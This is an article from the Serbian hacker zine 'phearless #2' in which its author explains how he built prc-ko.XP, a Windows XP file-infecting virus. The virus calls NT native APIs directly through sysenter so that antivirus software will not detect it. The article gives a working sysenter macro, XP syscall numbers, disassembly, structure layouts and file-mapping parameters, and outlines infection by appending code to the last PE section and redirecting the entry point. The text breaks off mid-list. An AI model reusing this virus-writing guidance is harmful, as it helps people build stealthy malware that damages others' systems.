Copy Link
Add to Bookmark
Report
2x04 prc-ko - the 4th Native API virus
...................
...::: phearless zine #2 :::...
...............>---[ prc-ko - the 4th Native API virus ]---<...............
...........................>---[ by deroko ]---<............................
deroko[at]gmail[dot]com
http://deroko.headcoders.net
A. Uopste
1. Kako je dobio ime?
2. Otkud ideja za ovaj kod?
3. Na cemu se zasniva?
B. Low-level XP kodiranje
1. Objasnjenja oko win 32 APIja
2. Pozivanje APIja direktno za XP
3. Interne Strukture koje sam koristio za prc-ko.XP i sta mu one dodju!?!?
4. NT NATIVE API korisceni od strane prc-ko.XP
C PRC-KO.XP U PRAKSI
1. Da vidimo da vidimo, okle prc-ko.XP-u direktorjum
2. Ajde da trazimo malo fajlove
3. Ono STO VAM NISU REKLI U SKOLI
4. Prosta infekcija koju prc-ko.XP koristi i kako je uraditi
D. Reference & toolz
F. Zahalnice/Pohvalnice
Sad kako da kazem "Disclaimer" iliti ogradjivanje od krivicnog gonjenja
Kod koji je ovde prezentovan je veoma tesko modifikovati da pravi stetu i zato
je prezentovan u naucne svrhe. Posle procitanog teksta shvaticete da je ovo samo
sizifov posao, pisanje ovakvog virusa i zato treba koristiti samo Win32 APIje
exportovane u kernel32.dll i drugim dllovima. Ja ne mogu biti odgovoran za bilo
kakvu stetu koju koriscenjem ovog koda prouzrokujete, kako sebi, kako drugom.
Napominjem opet da ovaj kod nije podesan za pravljenje stete jer tako nesto
preko NT native apija zahteva dosta kodiranja i samim tim je sizifov, ali ne i
nemoguc posao. Ako imate zivaca da tracujete kernel32 apije kroz olly dbg i
slicno, znaci ili da ste blesav (hello) ili da nemate pametnija posla u zivotu
(opet hello)!! Pa da pocnemo sa ovim tekstom:
A. Uopste
1. Kako je dobio ime?
Naime sam kod prc-ko je u pocetku trebalo da se zove prc sto bi bilo skraceno od
proof of concept, a ujedno bi na nasim jezicima znacilo zajebati, onako podmuklo.
-> Ala te je prcnuo - Zajebao. No medjutim posle price sa ortacima na ircu, sam
govorio idem da radim prc-ka, prc-ko ce ovo itd...pa sam ga konacno i nazvao tim
imenom, prc-ko :) PRC-KOMPANIJA :) No nebitno, koga zanima ime nekog infectora?
Ko da je to najvaznije? Mozda i jeste, ali idemo dalje...
2. Otkud ideja za ovaj kod?
Ovako, posto sam zavrsio svoj prvi virus, blackhand.w32, iliti poznatiji kao
DeadCode.a/b, koji se nigde ne siri vec zahvaljujuci AV kompaniji Sophos je postao
popularan, odlucio sam da uradim nesto novo, prateci desavanja na VX sceni u svetu
video sam da postoji 3-4 virusa koji koriste native APIje ali preko int 2eh sto
je karakteristicno za win2k i ranije NT, medjutim na winXP prica je slicna, ne
istovetna, zato prc-ko ima oznaku XP. Naime ovo je bila trka sa samim sobom i zelja
da se dobro namucim (koji sam mazohista) i da napravim nesto novo za XP. Tako je
i dosla ideja, a sa njom i radom ovaj infektor (virus je preostro ime za ovaj kod)...
3. Na cemu se zasniva?
Naime vecina virusa, infektora, koristi APIje exportovane iz kernel32.dll, da bi
otvarala fajlove, inficirala, ispisivala poruke, radila nesto zlocesto.
kernel32.dll je majka po tom pitanju jer ima dve bitne funkcije, LoadLibraryA i
GetProcAddress, ako nadjemo te 2 funkcije u virusu mozemo da korsitimo sta god
hocemo i iz bilo kog dll-a. Medjutim podjimo od pretpostavke da ne zelimo da
koristimo exportovane funkcije iz kernel32.dll vec da ocemo direktno da
komuniciramo sa kernelom. E tu moramo da se spustimo bas low-level i da tracujemo
sve APIje kroz kernel32.dll do njihovog konacnog ulaska u kernel (ring 0 ubuduce).
Ova tehnika ima prednosti i mane.
Prednosti :
- ne moramo da trazimo adresu kernel32.dll
- ne moramo da pisemo nas GetProcAddress
- ne moramo da vodimo racuna o tome gde smestamo adrese apija za kasnije pozivanje
- mozemo da pisemo male viruse koji ce biti stealth za vecinu AV prozivoda
- Jebemo Kasperskog u zdrav mozak
- Izludjujemo AV kompanije koje pokusavaju da singl-stepuju nas virus
- itd itd... Ako se setim dopisacu
Mane:
- ekstremno tesko za pisanje
- Losa dokumentacija (ni DDK ne pomaze bas uvek sa svojim "jasnim" objasnjenjima
- Kad jebemo analizu virusa, jebemo i sebe kod debugovanja
- Veoma malo izvora o doticnim APIjima i strukturama koje interno koriste
(hello, hvala bogu pa je procureo win2k src i to bas i/o deo pa nije bilo
toliko strasno)
- Nema vise mana, ovo su najvece mane sa kojima se moze jedan programer,
koder susresti
B. Low-level XP kodiranje
1. Objasnjenje oko win 32 APIja
Vecina APIja koje exportuje kernel32.dll se mahom oslanjaju na APIje koje
exportuje ntdll.dll.
Neke API iz kernel32 su samo shortcut za druge APIje u kernel32.
Primeri takvih APIja su, recimo, CreateThread i VirtualAlloc/VirtualFree, a
takodje ima i APIja koje od windows programer prave debila -> GetCurrentProcess,
GetCurrentThread, i ExitProcess. Sad cu svaku od ovih API da objasnim pojedinacno
uz primer iz IDA da sve bude jasno.
.text:77E79C90 GetCurrentProcess proc near
.text:77E79C90
.text:77E79C90 or eax, 0FFFFFFFFh
.text:77E79C93 retn
.text:77E79C93 GetCurrentProcess endp
Isti je slucaj i sa GetCurrentThread, potpuno isti kod, naime kao sto vidite handle
od trenutnog procesa, koliko sam shvatio iz dokumentacije, je pseudo-handle za
trenutni proces. Naime ova funkcija kao pseudohandle vraca -1, or eax, 0FFFFFFFFh
je isto kao i mov eax, -1 ili mov eax, 0FFFFFFFFh (ovo svi znaju da je
-1 = 0xffffffff tako da je ovaj deo koda bespotreban) Sad posto znamo sta je
pseduo-handle naseg procesa (-1) mozemo dalje analizirati ExitProcess
.text:77E75CB5 ExitProcess proc near
.text:77E75CB5
.text:77E75CB5
.text:77E75CB5 uExitCode = dword ptr 8
.text:77E75CB5
.text:77E75CB5 push ebp
.text:77E75CB6 mov ebp, esp
.text:77E75CB8 push 0FFFFFFFFh
.text:77E75CBA push offset off_77E8F3B0
.text:77E75CBF push [ebp+uExitCode]
.text:77E75CC2 call sub_77E75C4D
.text:77E75CC7 jmp TerminateProcess
.text:77E75CC7 ExitProcess endp
Naime ExitProcess se u dokumentaciji definise kao API koji ce unloadovati sve
dll-ove i ugasiti proces, dok se TerminateProcess ne preporucuje jer dll-ovi nece
znati da je proces zbog kojeg su ucitani ugasen.
Zato i imamo ovo call sub_77E754CD sto mu dodje ovo:
.text:77E75C4D sub_77E75C4D proc near ; CODE XREF: ExitProcess+Dp
.text:77E75C4D push 0CCh
.text:77E75C52 push offset dword_77E81C08
.text:77E75C57 call sub_77E774E1
.text:77E75C5C xor ebx, ebx
.text:77E75C5E cmp byte_77ED6008, bl
.text:77E75C64 jnz short loc_77E75CAD
.text:77E75C66 call ds:RtlAcquirePebLock
.text:77E75C6C mov [ebp-4], ebx
.text:77E75C6F mov edi, [ebp+8]
.text:77E75C72 push edi
.text:77E75C73 push ebx
.text:77E75C74 mov esi, ds:NtTerminateProcess
.text:77E75C7A call esi ; NtTerminateProcess
.text:77E75C7C mov [ebp-1Ch], eax
.text:77E75C7F call LdrShutdownProcess
.text:77E75C84 mov [ebp-0B4h], edi
.text:77E75C8A push 4
.text:77E75C8C push 10003h
.text:77E75C91 push ebx
.text:77E75C92 lea eax, [ebp-0DCh]
.text:77E75C98 push eax
.text:77E75C99 call ds:CsrClientCallServer
.text:77E75C9F push edi
.text:77E75CA0 push 0FFFFFFFFh
.text:77E75CA2 call esi ; NtTerminateProcess
.text:77E75CA4 or dword ptr [ebp-4], 0FFFFFFFFh
.text:77E75CA8 call loc_77EA39FC
Na liniji .text:77E75C72 guramo exit code, a na sledecoj process handle. Posle
debugovanja ispada da su ti brojevi 0 tako da se nas proces ne gasi, vec se ide
dalje pa se poziva LdrShutdownProcess koja je exportovana u ntdll.dll, nisam
siguran cemu sluzi ova f-ja ali moja najbolja pretpostavka je da ona gasi dll-ove
koji su ucitani, takodje unutar nje se pali/gasi NTCrtiivalSection, o cemu ne
znam mnogo, ali je ELicZ to pokusao da objasni svojim radom i o tome mozete videti
vise u delu reference. No kad smo pogasili sve dll-ove (valjda?!?) sledi poziv
za NtTerminateProcess na liniji .text:77E75CA2, kao sto se vidi predaje se exit
code u edi, proces handle 0xFFFFFFFF i idemo u ntdll da pozovemo NtTerminateProcess
koji ce ugasiti nas proces.
Sintaksa za TerminateProcess je (process handle, exit code) i to u kernel32.dll
izgleda ovako:
.text:77E616B4 TerminateProcess proc near ; CODE XREF: ExitProcess+12j
.text:77E616B4 ; sub_77EC8AD6+DAp
.text:77E616B4
.text:77E616B4 hProcess = dword ptr 4
.text:77E616B4 uExitCode = dword ptr 8
.text:77E616B4
.text:77E616B4 cmp [esp+hProcess], 0
.text:77E616B9 jz short loc_77E616D3
.text:77E616BB push [esp+uExitCode]
.text:77E616BF push [esp+4+hProcess]
.text:77E616C3 call ds:NtTerminateProcess
.text:77E616C9 test eax, eax
.text:77E616CB jl short loc_77E616DC
.text:77E616CD xor eax, eax
.text:77E616CF inc eax
.text:77E616D0
.text:77E616D0 locret_77E616D0: ; CODE XREF: TerminateProcess+30j
.text:77E616D0 retn 8
Prosto i jasno. TerminateProcess je ustvari rewrite za NtTerminateProcess i
sintaksa im je ista tako da ovo ne treba detaljno objasnjavati.
Isti je slucaj i sa CreateThread i VirtualAlloc.
Njihova sintaksa i sta pozivaju:
LPVOID VirtualAlloc(
LPVOID lpAddress, // address of region to reserve or commit
DWORD dwSize, // size of region
DWORD flAllocationType, // type of allocation
DWORD flProtect // type of access protection
);
poziva VirtualAllocEx koja sluzi za alociranje memorije u drugom procesu :
LPVOID VirtualAllocEx(
HANDLE hProcess, // process within which to allocate memory
LPVOID lpAddress, // desired starting address of allocation
DWORD dwSize, // size, in bytes, of region to allocate
DWORD flAllocationType, // type of allocation
DWORD flProtect // type of access protection
);
Dakle VirtualAlloc radi ovo:
LPOVID VirtualAlloc (
LPVOID lpAddress,
DWORD dwSize,
DWORD flAllocationType,
DWORD flProtect
){
return VirtualAllocEx(-1, lpAddress, dwSize, flAllocationType, flProtect);
}
Dalje sve zavisi od VirtualAllocEx i funkcije koju poziva iz ntdll.dll a to je
NtAllocateVirtualMemory cija je sintaksa sledeca :
NTSYSAPI
NTSTATUS
NTAPI
NtAllocateVirtualMemory(
IN HANDLE ProcessHandle,
IN OUT PVOID *BaseAddress,
IN ULONG ZeroBits,
IN OUT PULONG RegionSize,
IN ULONG AllocationType,
IN ULONG Protect );
ProcessHandle - 1 za nas proces, handle bilo kog drugog procesa ko u njemu ocemo
da alociramo memoriju
BaseAddress - je pointer na promenljivu koja prima adresu, ako ocemo da mapiramo
memorju na odredjenom mestu ova promenljiva mora da sadrzi tu
adresu u suprotnom promenljiva mora da bude postavljena na 0...
Ne mozete poslati null kao parametar jer je ovo IN OUT argument,
sto znaci da funkcija u njemu vraca ujedno adresu (nemojte se
zajebati pa ne postaviti ovo na 0 jer funkcija nece uspeti ili
hoce ako znate tacno koju ste memorijsku adresu hteli da
alocirate)
ZeroBits - sam kernel32 kaze da ovo treba da bude 0 pa i mi kazemo 0
RegionSize - koliko memorije alocirati
AllocationType - MEM_COMMIT ili MEM_RESERVE
Protect - neki od PAGE_* PAGE_READWRITE, PAGE_EXECUTE, itd...
Ista prica je i sa CreateThread i CreateRemoteThread... na kraju se sve svodi na
NtCreateThread i jos par apija exportovanih iz ntdll-a...
No sad kad znamo da se sve svodi na kraju na ntdll predjimo na pravu stvar ->
2. Pozivanje APIja direktno za XP
Ovo ne samo da je lako, vec sto je najcrnje moguce je, mana ovoga je sto gubimo
portabilnost koda. No da ne duzim prci, ajde da vidimo kako izgleda NtTerminateProcess
u ntdll.dll za XP. Paznja ovo ce da radi samo na XP ali ne i na win2k jer win2k
koristi int 2eh da se prebaci u kernel (ring 0)...
.text:77F7F3C3 mov eax, 101h
.text:77F7F3C8 mov edx, 7FFE0300h
.text:77F7F3CD call edx
.text:77F7F3CF retn 8
EAX = syscall number
EDX = 7FFE0300h
call edx
Naime ovo ce prebaciti izvrsavanje koda na sledecu memorijsku adresu :
7FFE0300 8BD4 MOV EDX,ESP
7FFE0302 0F34 SYSENTER
7FFE0304 C3 RETN
Koliko sam ja skapirao ta memorijska adresa predtavlja :
SharedUserData!SystemCallStub iliti deo memorije kome svi procesi imaju pristup.
Naime, kako kaze dokumentacija i DDK, sysenter se koristi umesto ranijeg int 2eh,
jer je brzi za prebacivanje u CPL=0 (ring0)...
Dakle ako pozovemo NtTerminateProcess u eax stavljamo syscall = 101h u edx adresu
od SharedUserData i idemo tamo. U SharedUserData imamo sledece -> eax = syscallnumber,
a edx uzima ESP kako bi kernel znao gde su argumetni za funkciju koju pozivamo.
Ovo u mov edx, esp je obavezno jer ce sysenter da popuni ESP i EIP i CS/SS sa
vrednostima koje su neophodne za rad u ring0.
Naime analizirajuci ovaj kod, moguce je uvideti da ovo nije tesko prepisati da umesto
call NtTerminateProcess, -1, 0 NtTerminateProcess pozivamo direktno preko sysenter.
Kvacica koja ovde postoji a koju cu vam sad obajsniti je sledeca:
call NtTerminaProcess, -1, 0 <-> nas stack izgleda ovako:
|00000000|
|FFFFFFFF|
|savedEIP|
mov eax, 101h
mov edx, 7FFE0300h
call edx
|savedEIP|
mov edx, esp
sysenter
Dakle ako hocete da pozovete NtTerminateProcess preko sysenter vas stack mora
izgledati ovako
|00000000|
|FFFFFFFF|
|dummyEIP|
|dummyEIP|
mov eax, 101h
mov edx, esp
sysenter
E sad to ne bi blio sve, ovakav stack radi kad mi pozivamo NtTerminateProcess,
ali nece sa ostalim NT apijima...
Evo sta sam ja skontao posle malo debugovanja (mozda i pise negde, da ga jebem,
ne znam) Naime sysenter ce po povratku iz ring0 pokupiti prvi EIP sa stacka
(ring 3, esp) i nastaviti izvrsavanje u ring 3 (mozda to radi sysexit ko bi ga znao)...
Dakle STACK mora biti ovako formiran :
|00000000|
|FFFFFFFF|
|dymmyEIP|
|good EIP|
mov eax, 101h
mov edx, esp
sysenter
Doduse kod NtTerminateProcess nije potreban EIP sledece instrukcije jer se proces
gasi, ali je kod svih ostalih to neophodno. Sad je vreme za kod iz prc-ko.XP za
vise objasnjenja.
@sysenter macro syscall, parameters
local __@@1, __@@2
push eax
jmp __@@2
__@@1:
mov eax, syscall
mov edx, esp
dw 340Fh ;sysenter 0F34h
__@@2:
call __@@1
add esp, (parameters*4) + 4
endm
Naime da bi lakse pozivao sysenter i cistio stack napravio sam ovaj mali makro.
Nejgova sintaksa je sledeca
@sysenter syscall_number, broj_argumenata koje syscall prima
Primer:
NtTerminateProcess equ 101h
push 0
push -1
@sysenter NtTerminateProcess, 2
Ok da se vratim ovom makrou:
push eax
je onaj dummy EIP koji nicemu ne sluzi
jmp __@@2 i call __@@1
Ostavice nam na stacku EIP sledece instrukcije, a to je instrukcija za ciscenje
stacka
mov eax, syscall
mov edx, esp
dw 340Fh
su vec objasnjeni, naime dw 340Fh je ustvari 0F34h iliti sysenter, moj TASM nije
hteo da kompajlira instrukciju sysenter pa sam morao rucno da je pisem (c/p iz
olly dbg)
add esp, (parameters*4) + 4
je jasno, cistimo stack broj_parametra*4 + dummy eip i stack opet pokazuje na
ono sto je bilo pre ulaska u funkciju... Jasno ko dan
Na ovaj nacin i preko ovog makroa na XP mozete pozvati bilo koju funkciju bez
potrebe da cackate po ntdll.dll ili kernel32.dll iz svog virusa. Nesto kao
shellcode ili virus za unix gde se poziva samo int 0x80, ali komplikovanije jer
na unixu su syscallovi vise nego odlicno dokumentovani, a ne windosu?!?!?
DOKUMENTACIJA JE UZAS, muda su mi do patosa, podocnjaci se sa njima trkaju, ko
ce pre do zemlje... STRASNO!!!!!!!
Syscall brojevi se dobiaju prostim dissemblovanjem ntdll...
.text:77F7E703 NtCreateThread proc near
.text:77F7E703 mov eax, 35h ; NtCreateThread
.text:77F7E708 mov edx, 7FFE0300h
.text:77F7E70D call edx
.text:77F7E70F retn 20h
.text:77F7E70F NtCreateThread end
Znaci 35h... i tako dalje, u prc-ko.xp source kodu imate vecinu potrebnih
syscall brojeva za pozivanje nekih korisnih NT apija, potrebnih za pisanje virusa.
3. Interne Strukture koje sam koristio za prc-ko.XP i sta mu one dodju!?!?
IO_STATUS_BLOCK STRUCT
ISB_Ntstatus dd ? ;pointer to NTSTATUS struct
ISB_inform dd ? ;Information eg. FILE_OPENED, FILE_SUPERSEDED etc..
IO_STATUS_BLOCK ENDS
Ova struktura sluzi za primanje statusa funkcija (I/O funckija, rad oko fajlova,
drajvera itd) Bitna je za debugovanje, ali ne toliko za sam kod virusa, ali je
moramo predati funkcijama koje je traze
OBJECT_ATTRIBUTES STRUCT
Length dd ? ;len of struct
RootDir dd ? ;Handle to root dir
ObjectName dd ? ;pointer to UNICODE_STRING
Attributes dd ? ;heh not sure how to explain
SecurityDesc dd ? ;Set to null for default SecurityDescriptor
SecQualityOfS dd ? ;Set to 0 InitializeObjectAttributes so it is 0 always
OBJECT_ATTRIBUTES ENDS
Ovo je najvaznija struktura za rad sa fajlovima, ko zna gde sve ima primenu, ali
sam je detaljno porucio radeci sa fajlovima i pisanjem prc-ko.XP-a...
Length - duzina same strukture, sto je 0x18 ili 24 decimalno
RootDir - handle od trenutnog direktorijuma ili 0 ako kao ObjectName dajete NT
path do fajla ovaj podatak se moze dobiti iz PEB/_RTL_USER_PROCESS_PARAMETERS/CURDIR
ObjectName - e ovo je pointer na UNICODE_STRING strukturu (iliti kako je ja zovem
AU_STRING)naime STRUKTURA mora da pokazuje na fajl u NT formatu ako
je RootDir = 0 ili samo na ime fajla ako kao RootDir dajete handle
trenutnog direktorijuma koji mozete dobiti sa NtOpenFile ili iz PEB-a
RootDir == 0
putanja do fajla \??\C:\tasm32\prc-ko\prc-ko.exe (UNICODE)
RootDir != 0
putanja do fajla prc-ko.exe (UNICODE)
Attributes - Nisam siguran sta ovo znaci ali prilikom otvaranja direktrijuma i
fajlova mora da bude podesen na 40h iliti OBJ_CASE_INSENSITIVE...
Evo objanjenja iz DDK Is a set of flags that controls the file object
attributes. This value can be zero or OBJ_CASE_INSENSITIVE, which
indicates that name-lookup code should ignore the
case of ObjectName rather than performing an exact-match search.
Drugim recima ako je fajl prc-ko.asm i nije setovan ovaj FLAG a mi
trazimo PRC-KO.ASM, necemo ga naci, znaci ovaj flag-setujete uvek i
nema da boli glava
SecurityDescriptor - na 0
SecurityQualityOfService - i njega na 0
(ova dva niakd nisam razumeo sta rade a i InitializeObjectAttributes) po
defaultu ovaj poslednji setuje na 0 i sta ima da se mucimo... ako je 0 uvek,
znaci da nam nije bitan, moj moto...)
AU_STRING STRUCT
len dw ?
maxlen dw ?
buff dd ?
AU_STRING ENDS
Ova struktura je u stvari cuveni UNICODE_STRING ili ANSI_STRING, iste strukture
razlicita imena, pa ja to skraceno zovem AU_STRING. Kratko i jasno :
len - duzina stringa bez 0x00 ili 0x00 0x00 na kraju ako je rec o asni/unicode
maxlen - duzina stringa ukljucujuci 0x00 ili 0x00 0x00 na kraju u zavisnosti od
ansi/unicode
buff - pointer na ansi ili unicode string
Ova sruktura se lako popunjava preko RtlInitUnicodeString, a ako pokrenemo IDA,
za manje od 2min dolazimo do odgovrajuceg resenja. Kompletan rewrite ove funkcije
(bas kao i u ntdll) imate u prc-ko.xp source kodu...
FILE_BOTH_DIRECTORY_INFORMATION STRUCT
NextEntryOffset dd ?
Unknown dd ?
CreationTime dq ?
LastAccessTime dq ?
LastWriteTime dq ?
ChangeTime dq ?
EndOfFile dq ?
AllocationSize dq ?
FileAttributes dd ?
FileNameLength dd ?
EaInfomrationLength dd ?
AltenateNameLength db ?
AlternateName dw 12 dup (?)
dummychar db ? ;alignemnt
FileName dw ? ;here starts unicode file name
FILE_BOTH_DIRECTORY_INFORMATION ENDS
E ova struktura mi je bila najvaznija kad sam pokusavao da najdem fajlove preko
NT native apija. Ovu strukturu sam uspeo da nadjem na rootkit.host.sk (Holly_Father)
i tekstu u pogledu nevidiljovisti na NT, strasan text, za vise pogledajte u odeljak
reference. Naime ova struktura se koristi od strane FindFirstFile i FindNextFile
koje pozivaju NTQueryDirectoryFile sa klasom FileBothDirectoryInformation iliti 3...
Ovako, nama je bitno kod ove strukture sledece -> FileName i FileNameLength
FileName - je prvi wide char (na NT interno sve je UNICODE) koji se ne zavrsava
sa 0x00 x 2 (unicode) FileNameLength - je u bajtovima duzina FileName tako da
znamo gde da stavimo 0x00 x 2 NextEntryOffset - je bitno ako odlucite da prilikom
NtQueryDirectoryFile vrati sve fajlove, jer cete u tom slucaju dobiti poveci niz
ovih struktura, a pomocu NextEntryOffset cete znati gde se nalazi sledeca struktura.
No ako kod NtQueryDiectoryFile stavimo TRUE kod ReturnSingleEntry parametra
onda nam ovaj deo strukture ni ne treba.
To je to sto se tice samih struktura
4. NT NATIVE API korisceni od strane prc-ko.XP
Prvo i najvaznije je da svi podaci koji se daju kernelu (ring 0) moraju biti
poravnati na odredjen adrese, ja mislim da je u pitanju aligment 4, ali ne mogu
sa sigurnoscu da tvrdim. Moj probelm je u pocetku bio da je NtCreateFile pravio
fajl ZWERk (5 karaktera), ali nije hteo da pravi duze ili krace. Premda je ceo
kod bio isti. Tracovanjem samog CreateFileA -> CreateFileW isti parametri, sve
je bilo isto kao i iz mog NtCreateFile, medjutim, posle koriscenja strace za
XP dobijao sam stalno STATUS_DATATYPE_MISALIGNMENT, cupao kosu, nervirao se i
pade mi najednom nesto napamet... Reko, ajde da sve stringove, sve zivo radim
preko stacka ili heap-a. Vidim ja RtlCreateHeap, RtlFreeHeap, pa svi argumetni
se nalaze na heapu ili na stacku. Probam ja tako, alociram 256 dw na stacku i
opalim NtCreateFile... b00m... pravi male i velike, sitne i debele :)
Dakle rec je o alignmentu podataka, moja dva stava na ovu temu su sledeca:
1. Ili se podaci moraju praviti na delu memorije koje ring0 i ring3 vide
(stack/heap) jer su podaci o oba smesteni u TEB i PEB (TEB-stack, PEB-Heap)
2. Ili je mozda rec o tome da podaci moraju da se nalaze na odredjenom
alignemntu? 4? PAGE_SIZE? ne znam, nisam ekperimentisao, kako kaze ona
reklama "Ne znam, nisam pametan" Stvarno ne znam, nisam siguran, nisam
pametan da dam odgovor na ovo pitanje, mozda je ELicZ dao odgovor na ovo
pitanje na svom sajtu... Taj lik razbija NT internale... No kako bilo
dosao sam do pravog resenja, onog koje radi, i turio sve podatke u
lokalne promenljive na stack i glava ne boli...
Sto se tice NT Native APIja koriscenih od strane prc-ko.XP to su sledeci i
njihovi brojevi:
NtOpenFile equ 74h
NtClose equ 19h
NtCreateSection equ 32h
NtMapViewOfSection equ 6Ch
NtUnmapViewOfSection equ 10Bh
NtQueryDirectoryFile equ 91h
NtQueryInformationFile equ 97h
Ovako, posto me krajnje mrzi da svaki argument objasnjvama za svaku funkciju i
pogotovo sto nisam najsigurniji sta koji argument predstavlja, uputicu vas na
sajt NT Undocumented koji sadrzi odlican chm fajl u pogledu svih undocumented
funkcija uz objasnjenje njihovih parametara. Vecina argumenata koje predajem
funkcijama, su dobijeni prostim debugovanjem i tracovanjem kernel32 APIja kroz
olly, tako da neki su mi taboo, a neke sam skapirao i lepo koristio.
Sto se tice implementacije GetFileSize u prc-ko.xp mogu reci da je ona komplet
Rewrite kernel32.dll GetFileSize uz izuzetak da ne prima sugavi 2gi parametar
koji je je null u vecini slucajeva. Neki djoka, hilow word...jebes ga, nije potreban...
Prilikom pisanja prc-ko.xp sam poludeo kod NtMapViewOsSection i NtCreateSection,
oba ko za inat traze qword (LARG_INTEGER) tako da nemo se zajebete pa to da previdite.
Lepo pise u NT Undocumented LARGE_INTEGER, a ja ko somina guram DWORD, pa nije ni
cudo sto nije htelo da radi. E ovo sve kad se zavrsi ide prosta infekcija.
Dodavanje u poslednji section, redirect EP na virus, kad zavrsi nazad na pravi
program. Prosta infekcija, laka za implementiranje, drugim recima, pickin dim...
No vratimo se na APIje i da pokusam da ih objasnim :) Niste valjda mislili da cu
stvarno da vas pustim same da ovo analizirate :))))) Nene :) Ovo ce da bude lep
tutorial :)
NtClose : je isto sto i CloseHandle, prima 1 paramtera a to je handle procesa,
fajla, mapiranog sectiona ili sta vec, kao i CloseHandle, sintaksa je ista...
NtOpenFile :
Argumenti :
OUT PHANDLE FileHandle,
IN ACCESS_MASK DesiredAccess,
IN POBJECT_ATTRIBUTES ObjectAttributes,
OUT PIO_STATUS_BLOCK IoStatusBlock,
IN ULONG ShareAccess,
IN ULONG OpenOptions
FileHandle - pointer na promenljivu koja prima FileHandle posle uspesnog poziva
funkcije ACCESS_MASK - moze biti FILE_GENERIC_READ ili FILE_GENERIC_WRITE (ne
GENERIC_READ ili GENERCI_WRITE) za vise imate u DDK, a za pisanje virusa ovo je
dovoljno
ObjectAttributes - pointer na ObjectAtributes strukturu koja je objanjena gore
IoStatusBlock - pointer na struktur IO_STATUS_BLOCK iz koje mozete saznati
zasto funkcija nije uspela ili ako je uspesna da li je fajl
OTVOREN (FILE_OPENED u infomration)
ShareAccess - Kao i svuda, share access (dobijeno tracovanjem FindFirstFile)
OpenOptions - Nemam pojma sta je ovo, ali i njega sam dobio prostim tracovanjem
O ovom parametru ima vise u procurelom kodu win2k :)
Nasa sreca pa je procureo ceo I/O deo ntoskrnl-a :))))))
Billy you stink :)
NtCreateSection(
OUT PHANDLE SectionHandle,
IN ULONG DesiredAccess,
IN POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL,
IN PLARGE_INTEGER MaximumSize OPTIONAL,
IN ULONG PageAttributess,
IN ULONG SectionAttributes,
I N HANDLE FileHandle OPTIONAL )
Interno se poziva od strane CreateFileMappingA/W
SectionHandle - pointer na pormenljivu koja prima section-handler, takodje ovo
cudo se zatvara sa NtClose
DesiredAccess - 0F0007h, ne znam sta mu ovo dodje ali tako ispada tracovanjem
mozda bi dublje analize i traganje po DDK dalo rezultata ali me
mrzi da to radim jer moram da ucim za fax
ObjectAtrributes - null jer je optional (ako je ovo NULL onda FileHandle mora biti
ispravan) NT koristi Optional na vise mesta, sto podrazumeva da
ako je jedan OPTIONAL null drugi mora biti prosledjen
MaximumSize - ovo je qword, ako mapiramo fajl moze biti null ako zelimo da mapiramo
samo velicinu fajla, medjutim kad pisemo virus mi ocemo da uvecamo
fajl, dakle ovaj qword mora biti setovan na file-size + 1000h (ja
koristim 1000h za virus) Ne znam sta ce mi toliko, ali neka bude
PAGE_ALIGNED :)
PageAttributes - PAGE_READWRITE
SectionAttrributes - SEC_FILE
SEC_IMAGE
SEC_RESERVE
SEC_COMMIT
SEC_NOCACHE
Moze da bude kombinacija ovih flagova, kako me mrzi da im nalazim pravo
znacenje i da kopam po DDK, ja traceom dobih 80000000h i radi odlicno
FileHandle - FileHandle koji smo dobili sa NtOpenFile (NE POINTER NA
FILE HANDLE)
E ovo je smrt procedura, tako laka preko kernel32.dll tako jebena preko ring0 :)
NtMapViewOfSection(
IN HANDLE SectionHandle,
IN HANDLE ProcessHandle,
IN OUT PVOID *BaseAddress OPTIONAL,
IN ULONG ZeroBits OPTIONAL,
IN ULONG CommitSize,
IN OUT PLARGE_INTEGER SectionOffset OPTIONAL,
IN OUT PULONG ViewSize,
IN SECTION_INHERIT InheritDisposition,
IN ULONG AllocationType OPTIONAL,
IN ULONG Protect );
SectionHandle - handle koji smo dobili sa NtCreateSection
ProcessHandle - Evo onog process handle!?!? -1 za nas proces :)
BaseAddress - Pa iako kazu Optional moramo dati parametar, dakle pointer na
promenljivu koja prima adresu mapiranog sectiona. promenljivu
postaviti na 0 ako ocete da se memorija bilo gde alocira ili na
odredjenu vrednost ako vam je stalo da se memorija locira na
odredjenom mestu
ZeroBits - ??? nula, ko ga jebe kad je optional
CommitSize - postavljeno na null od strane kernel32, pa ga i ja postavljam
na 0
SectionSizeOffset - qword, postaviti qword na 0 jer zelimo da mapiranje pocne od
pocetka sectiona koji smo napravili sa NtCreateSection
ViewSize - Velicina fajal + extra dodtaka za virus (ono sto je kod NtCreateSection
MaximumSize iliti qword, ovde je dword ali ista velicina) Uz
to ovo je pointer na promenljivu jer je IN OUT
InheritDispositin - 1 postavljeno od strane kernel32.dll i od prc-ko.XP takodje
AloocationType - null, mada moze da bude MEM_COMMIT/ MEM_RESERVE, nisam probao
i ne znam kako ce se ponasati sa tim flagovima, premda
kernel32.dll postavlja null
Protect - PAGE_NOACCESS
PAGE_READONLY
PAGE_READWRITE
PAGE_WRITECOPY
PAGE_EXECUTE
PAGE_EXECUTE_READ
PAGE_EXECUTE_READWRITE
PAGE_EXECUTE_WRITECOPY
PAGE_GUARD
PAGE_NOCACHE
PAGE_WRITECOMBINE
Moze biti neki od ovih flagova, ali ja koristim 4 posto sam to dobio tracovanjem
MapViewOfFile kroz kernel32 sa PAGE_READWRITE
I poslednji korisni NT native API, nisam nasao nejgovu dokumentaciju u DDK, ali
sam je naso u NT Uncoumented jeeeeeeeeeeeeeee :
NtQueryDirectoryFile(
IN HANDLE FileHandle,
IN HANDLE Event OPTIONAL,
IN PIO_APC_ROUTINE ApcRoutine OPTIONAL,
IN PVOID ApcContext OPTIONAL,
OUT PIO_STATUS_BLOCK IoStatusBlock,
OUT PVOID FileInformation,
IN ULONG Length,
IN FILE_INFORMATION_CLASS FileInformationClass,
IN BOOLEAN ReturnSingleEntry,
IN PUNICODE_STRING FileMask OPTIONAL,
IN BOOLEAN RestartScan );
FileHandle - handle od direktorijuma (dobija se sa NtOpenFile, tako radi FindFirstFile)
Event - ??? null
ApcRoutine - ??? null
ApcContext - ??? null
IoStatusBlcok - pointer na IO_STATUS_BLOCK strukturu
FileInformation - buffer koji prima odrednje podatke ja ga turim na 256:dword
Length - velicina buffera u bajtovima
FileInformationClass - je ustvari enum tip, i moze biti od 1-?? mozda 30 sve u
svemu nama za za pretragu treba 3 (FileBothDirectoryInformation) i gore pomenuta
struktura
ReturnSingleEntry - 1 ili 0
1 vrati samo podatke za 1 fajl
